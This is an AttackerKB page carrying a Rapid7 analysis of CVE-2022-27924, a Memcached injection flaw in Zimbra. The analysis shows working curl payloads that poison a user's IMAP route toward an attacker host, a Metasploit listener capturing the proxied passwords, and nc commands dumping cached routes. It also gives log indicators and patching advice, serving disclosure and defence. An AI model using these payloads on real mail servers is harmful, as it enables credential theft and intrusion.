Very High
CVE-2022-27924
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
Very High
(1 user assessed)Very Low
(1 user assessed)Unknown
Unknown
Unknown
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Zimbra Collaboration (aka ZCS) 8.8.15 and 9.0 allows an unauthenticated attacker to inject arbitrary memcache commands into a targeted instance. These memcache commands becomes unescaped, causing an overwrite of arbitrary cached entries.
Add Assessment
Ratings
-
Attacker ValueVery High
-
ExploitabilityVery Low
Technical Analysis
Ultimately, this is annoying and unreliable to exploit, but we did get it working and confirm it’s a problem.
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportGeneral Information
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportWould you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Additional Info
Technical Analysis
Description
On May 10, 2022, Zimbra released a patch for CVE-2022-27924 inZimbra Collaboration Suite to resolve a blind Memcached injection vulnerability. On June 14, 2022, Sonar posted a blog discussing the issue in detail. This post is based on our own experimentation and analysis in addition to Sonar’s blog.
The list of affected products includes:
- Zimbra Collaboration Suite 8.8.15 prior to Patch 31
- Zimbra Collaboration Suite 9.0.0 prior to Patch 24
If an attacker successfully exploits this issue, they can change arbitrary keys in the Memcached cache to arbitrary values. In the worst case scenario, an attacker can steal a user’s credentials when a user attempts to authenticate. Combined with a recent authenticated remote code execution vulnerability (CVE-2022-27925) and a currently unpatched privilege escalation issue that was publicly disclosed in October, 2021, capturing a user’s password can lead to remote code execution as the root user on an organization’s email server, which frequently contains sensitive data.
Rapid7 has received private reports that this vulnerability is being actively exploited in the wild by well organized threat groups.
We recently wrote about an unRAR issue in Zimbra that leads to remote code execution as well.
The potential consequences of exploiting CVE-2022-27924, combined with reported exploitation in the wild and other recent vulnerabilities, means that administrators should patch their Zimbra servers as soon as reasonably possible. We provide guidance on patches and workarounds below.
Technical analysis
To test Zimbra, we installed a current FOSS Zimbra version (8.8.15 Patch 31) on Ubuntu 18.04, and specifically downgraded the nginx
package and configurations (the current version is supposed to be a one-way patch, so removing it is tricky). The exploit techniques should be the same whether Zimbra is on Ubuntu, Red Hat, or any other supported platform.
Memcached
Memcached is a memory-only caching daemon that is used to store short-lived but quickly retrievable strings. Zimbra uses Memcached to store a variety of ephemeral information, including routing information for back-end servers. We’ll dig into what exactly is being stored later, but first, let’s look at how Memcached is configured:
$ ps aux | grep memcache zimbra 3837 0.0 0.0 322832 84 ? Ssl 08:16 0:03 /opt/zimbra/common/bin/memcached -d -P /opt/zimbra/log/memcached.pid -U 0 -p 11211 $ /opt/zimbra/common/bin/memcached -h -p <num> TCP port number to listen on (default: 11211) -U <num> UDP port number to listen on (default: 11211, 0 is off) -l <addr> interface to listen on (default: INADDR_ANY, all addresses) [...]
The -l
argument is important for security purposes – it prevents random hosts from sending queries to Memcached. While Zimbra does support the -l
argument, it does not set that flag by default:
$ cat /opt/zimbra/bin/zmmemcachedctl [...] addr=$(/opt/zimbra/bin/zmprov -l gs ${zimbra_server_hostname} zimbraMemcachedBindAddress | awk '/^zimbraMemcachedBindAddress:/{ print $2 }') [...] if [ x"$addr" = "x" ]; then /opt/zimbra/common/bin/${servicename} -d -P ${pidfile} -U 0 -p ${port:-11211} else /opt/zimbra/common/bin/${servicename} -d -P ${pidfile} -U 0 -l ${addr} -p ${port:-11211} fi [...]
Even though it listens on all interfaces, we cannot write to Memcached remotely:
(local) $ echo -ne 'add test 0 3600 8\r\ntesttest\r\n' | nc localhost 11211 STORED (remote) $ echo -ne 'add test 0 3600 8\r\ntesttest\r\n' | nc 10.0.0.158 11211 NOT_STORED
We can, however, query remotely, which will be super helpful later on:
$ echo -ne 'get test\r\n' | nc 10.0.0.158 11211 VALUE test 0 8 testtest END
We recommend configuring Zimbra to block external Memcached, even on patched versions of Zimbra.
Routing
We can verify that memcached
executes as promised using netstat
on our Zimbra host:
# netstat -pant [...] tcp 0 0 0.0.0.0:11211 0.0.0.0:* LISTEN 3837/memcached tcp 0 0 10.0.0.158:11211 10.0.0.158:58450 ESTABLISHED 3837/memcached tcp 0 0 10.0.0.158:11211 10.0.0.158:58444 ESTABLISHED 3837/memcached tcp 0 0 10.0.0.158:11211 10.0.0.158:58448 ESTABLISHED 3837/memcached tcp 0 0 10.0.0.158:11211 10.0.0.158:58446 ESTABLISHED 3837/memcached tcp6 0 0 :::11211 :::* LISTEN 3837/memcached [...] tcp 0 0 10.0.0.158:58446 10.0.0.158:11211 ESTABLISHED 3900/nginx: worker tcp 0 0 10.0.0.158:58448 10.0.0.158:11211 ESTABLISHED 3898/nginx: worker tcp 0 0 10.0.0.158:58450 10.0.0.158:11211 ESTABLISHED 3899/nginx: worker tcp 0 0 10.0.0.158:58444 10.0.0.158:11211 ESTABLISHED 3901/nginx: worker
As shown in that output, Zimbra maintains four different connections to memcached
at all times, which corresponds to four nginx
workers. Zimbra maintains their own fork of Nginx that builds-in memcached support. Ultimately, saving routes in a cache like this is used to support multiple back-end Zimbra servers, but even with a single back-end server this logic still exists.
Once a Zimbra server has been running and used for a while (including both HTTPS and IMAP), we can query (even remotely!) to find out what sorta information is stored, using this technique (we later found a tool called memcdump
or memdump
that does the same thing):
$ echo -ne 'stats items\r\n' | nc 10.0.0.158 11211 | cut -d: -f2 | uniq 1 3 END $ echo -ne 'stats cachedump 1 999\r\nstats cachedump 3 999\r\n' | nc 10.0.0.158 11211 END ITEM route:proto=imapssl;user=admin@zimbra2.example.org [15 b; 1658950432 s] ITEM alias:user=admin;ip=10.0.0.146 [25 b; 1658950432 s] ITEM route:proto=httpssl;user=ron@zimbra2.example.org [15 b; 1658950427 s] ITEM route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 [15 b; 1658950427 s] ITEM route:proto=httpssl;user=admin@zimbra2.example.org [15 b; 1658950417 s] ITEM alias:user=admin;vhost=10.0.0.158 [25 b; 1658950417 s] ITEM route:proto=httpssl;id=3f65be18-dd18-40b5-9618-4b5f1d4a3471 [15 b; 1658950415 s] END
What you’re seeing there are cache entries for the different protocols and users. If we query the values, we can see that they contain addresses and ports for upstream servers (which is very often the target server itself):
$ nc 10.0.0.158 11211 get route:proto=httpssl;user=ron@zimbra2.example.org VALUE route:proto=httpssl;user=ron@zimbra2.example.org 0 15 10.0.0.158:8443 END get route:proto=imapssl;user=admin@zimbra2.example.org VALUE route:proto=imapssl;user=admin@zimbra2.example.org 0 15 10.0.0.158:7993 END
We can validate how Zimbra uses these entries by spying on the network traffic. While we could have configured a Memcached log file, we took the easy approach and used tshark
to log packets:
# tshark -i lo port 11211 Capturing on 'Loopback'
If we log in with a browser then with IMAP, we see those values being queried by Zimbra (and inserted, if the value is blank):
(HTTPS) 1 0.000000000 10.0.0.158 → 10.0.0.158 MEMCACHE 131 get route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 2 0.000089488 10.0.0.158 → 10.0.0.158 MEMCACHE 160 VALUE route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 0 15 3 0.000101214 10.0.0.158 → 10.0.0.158 TCP 66 36660 → 11211 [ACK] Seq=66 Ack=95 Win=512 Len=0 TSval=2502091052 TSecr=2502091052 4 0.004031459 10.0.0.158 → 10.0.0.158 MEMCACHE 131 get route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 5 0.004127048 10.0.0.158 → 10.0.0.158 MEMCACHE 160 VALUE route:proto=httpssl;id=20904e1c-0130-40ae-b2d1-c45d9b5417b8 0 15 [...] (IMAP) 106 80.715764716 10.0.0.158 → 10.0.0.158 MEMCACHE 102 get alias:user=admin;ip=10.0.0.146 107 80.715868568 10.0.0.158 → 10.0.0.158 MEMCACHE 141 VALUE alias:user=admin;ip=10.0.0.146 0 25 108 80.715884212 10.0.0.158 → 10.0.0.158 TCP 66 51262 → 11211 [ACK] Seq=37 Ack=76 Win=512 Len=0 TSval=2502171768 TSecr=2502171768 109 80.715952639 10.0.0.158 → 10.0.0.158 MEMCACHE 122 get route:proto=imapssl;user=admin@zimbra2.example.org 110 80.716013014 10.0.0.158 → 10.0.0.158 MEMCACHE 151 VALUE route:proto=imapssl;user=admin@zimbra2.example.org 0 15
Our goal for exploiting this vulnerability is going to be sabotaging those entries, for profit!
The Vulnerability
Zimbra actually patched this issue in two different places. First, they block HTTP requests containing newline characters; second, they now use SHA256 to hash the keys. Neither of these patches gives away where the actual vulnerability is, other than telling us that it’s exploited by injecting newline characters. Thankfully, Sonar’s blog helpfully outlines the exploit in detail!
They use effectively the following example to demonstrate the issue, which we modified to point to our test server and work with cURL:
$ curl -k 'https://10.0.0.158/service/home/example%0d%0astats%0d%0aUser/file' <html> <head> <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1"/> <title>Error 401 must authenticate</title> </head> <body><h2>HTTP ERROR 401 must authenticate</h2> <table> <tr><th>URI:</th><td>/service/home/example%0D%0Astats%0D%0AUser/file</td></tr> <tr><th>STATUS:</th><td>401</td></tr> <tr><th>MESSAGE:</th><td>must authenticate</td></tr> <tr><th>SERVLET:</th><td>UserServlet</td></tr> </table> </body> </html>
While we don’t see any meaningful response, we do see Memcached traffic in the tshark
instance we started earlier:
# tshark -i lo port 11211 [...] 150 691.837981292 10.0.0.158 → 10.0.0.158 MEMCACHE 120 get alias:user=example 151 691.838563956 10.0.0.158 → 10.0.0.158 MEMCACHE 71 END 152 691.838582407 10.0.0.158 → 10.0.0.158 TCP 66 38592 → 11211 [ACK] Seq=3494 Ack=4372 Win=512 Len=0 TSval=2504172114 TSecr=2504172114 153 691.838612727 10.0.0.158 → 10.0.0.158 MEMCACHE 128 get route:proto=httpssl;user=example 154 691.840128073 10.0.0.158 → 10.0.0.158 MEMCACHE 1398 STAT pid 3939
Note, in particular, that the stat
command executed! That’s Memcached injection!
Exploit
Now that we’ve confirmed the Memcached injection, let’s look at how we can exploit it!
Since we know that the entry for, say, route:proto=imapssl;user=admin@zimbra2.example.org
is simply a hostname:port
referencing the upstream server, what if we perform a request that changes one of those values? Let’s try the following payload:
$ curl -k 'https://10.0.0.158/service/home/abc%0d%0aset%20route:proto=imapssl;user=admin@zimbra2.example.org%200%203600%2015%0d%0a10.0.0.146:1234%0d%0a/file' <html> [...]
Then, since memcached
is open to the world, we can check if it worked:
$ nc 10.0.0.158 11211 get route:proto=imapssl;user=admin@zimbra2.example.org VALUE route:proto=imapssl;user=admin@zimbra2.example.org 0 15 10.0.0.146:1234 END
It worked! We configured an arbitrary back-end server, to which Zimbra will forward IMAP traffic.
Since Zimbra will proxy our authentication to the specified back-end server, if we use our own, malicious IMAP server, we should be able to capture credentials! Metasploit to the rescue!…? Unfortunately, Zimbra’s proxy uses an IMAP feature that Metasploit currently doesn’t support, but we patched it and it’ll get rolled out soon! In the meantime, using that branch of Metasploit, we can fire up a listener:
msf6 > use auxiliary/server/capture/imap msf6 auxiliary(server/capture/imap) > show options msf6 auxiliary(server/capture/imap) > set SRVPORT 1234 SRVPORT => 1234 msf6 auxiliary(server/capture/imap) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true msf6 auxiliary(server/capture/imap) > exploit [*] Auxiliary module running as background job 0. [*] Started service listener on 0.0.0.0:1234 [*] Server started.
Then, using any IMAP client (we used Claws Mail), connect to the Zimbra server using the poisoned account (in our case, it’s admin@zimbra2.example.org). Once the IMAP client connects to the poisoned account, it will attempt to authenticate, and Zimbra will forward us the authentication details:
msf6 auxiliary(server/capture/imap) > exploit [*] Auxiliary module running as background job 0. [*] Started service listener on 0.0.0.0:1234 [*] Server started. [+] IMAP LOGIN 10.0.0.158:59032 admin@zimbra2.example.org / mybigtestpassword
We can also test this with Ncat, directly authenticating to the Zimbra server:
$ echo -ne '1 LOGIN admin@zimbra2.example.org password1234\r\n' | nc --ssl 10.0.0.158 993 * OK IMAP4rev1 proxy server ready
Which immediately shows up in Metasploit:
msf6 auxiliary(server/capture/imap) > exploit [*] Auxiliary module running as background job 0. [*] Started service listener on 0.0.0.0:1234 [*] Server started. [+] IMAP LOGIN 10.0.0.158:59032 admin@zimbra2.example.org / mybigtestpassword [+] IMAP LOGIN 10.0.0.158:59074 admin@zimbra2.example.org / password1234
So if we know a user’s email address, we can steal their password. If you get one user login, you can pretty easily get the rest from Zimbra’s address book, especially if it’s an administrator. But, is there a way to get ANY account?
Additional Exploit
The downside to that exploit is that you need to know a username on the server in order to exploit it. According to Sonar’s blog, it is also possible to poison the cache for any user, by stacking multiple requests. The idea is, we send an extra get
request for Memcached in a single query, Memcached will respond with two different messages:The first will return to the injected query, and the second to whatever query happens next. Zimbra didn’t validate that the response it received was the request it sent, so it would fetch the wrong value. It would try to get a route for admin@zimbra2.example.org
, for example, but actually receive the value test
!
Unfortunately, in our testing we could not reproduce that attack, very likely because of how we down-patched our service. Something else in the current version of Zimbra is likely blocking it.
But, as noted above, poisoning the cache for a single user is likely sufficient to get all usernames very quickly. Plus, if Memcached is exposed on port 11211 we can get a list of users directly from the cache!
IOCs
This specific attack requires newline characters in a GET request, which are fairly unusual. Specifically, %0d
and %0a
(case insensitive) should be monitored in URL logs; we found the following logs that contained evidence:
/opt/zimbra/log/trace.log.<date>
/opt/zimbra/log/nginx.access.log
/opt/zimbra/log/access_log.<date>
And searched them like this:
# sudo cat trace_log.2022_07_28 | grep -i '%0[da]' 21:10:01.387:qtp1381713434-126:https://10.0.0.158/service/home/abc%0d%0aset%20route:proto=imapssl;user=admin@zimbra2.example.org%200%203600%2015%0d%0a10.0.0.146:4444%0d%0a/file REQUEST 10.0.0.158 GET null; curl/7.79.1 21:10:04.181:qtp1381713434-126:https://10.0.0.158/service/home/abc%0d%0aset%20route:proto=imapssl;user=admin@zimbra2.example.org%200%203600%2015%0d%0a10.0.0.146:4444%0d%0a/file RESPONSE 401 null
Some of our failed attempts were additionally logged in /opt/zimbra/log/nginx.log
, though it is unlikely that you’d see an attack there (unless the attacker made a mistake).
We also found a tool called memcdump
(or memdump
), which can dump entries in Memcached; any unrecognized servers referenced in Memcached’s cache are evidence of an attack, but note that an attacker can choose how long until a Memcached entry expires, and the entries do not persist across a reboot. Since this tool does not appear to print values, we used this bash command (replace localhost
with the server’s IP address to use it remotely):
$ for entry in $(memcdump --servers=localhost | grep 'route:'); do echo -ne "get $entry\r\n" | nc -w1 localhost 11211; done VALUE route:proto=httpssl;id=da0582c6-a871-4f8d-9a94-0d1fb481eafc 0 15 10.0.0.158:8443 END VALUE route:proto=httpssl;user=ron@zimbra2.example.org 0 15 10.0.0.158:8443 END
Guidance
Rapid7 recommends updating all Zimbra servers to the most recent version. Several recent vulnerabilities exist that can lead to remote code execution or credential theft, and they are all fixed by updating.
Additionally, we recommend restricting Memcached to only listen on localhost, using Zimbra’s instructions — both configuring Zimbra’s bind address and, as a defense-in-depth measure, blocking the port with a firewall.
If updating is not possible, as a stop-gap measure you can use a reverse-proxy to block newline characters, the same way Zimbra does.
References
Report as Emergent Threat Response
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: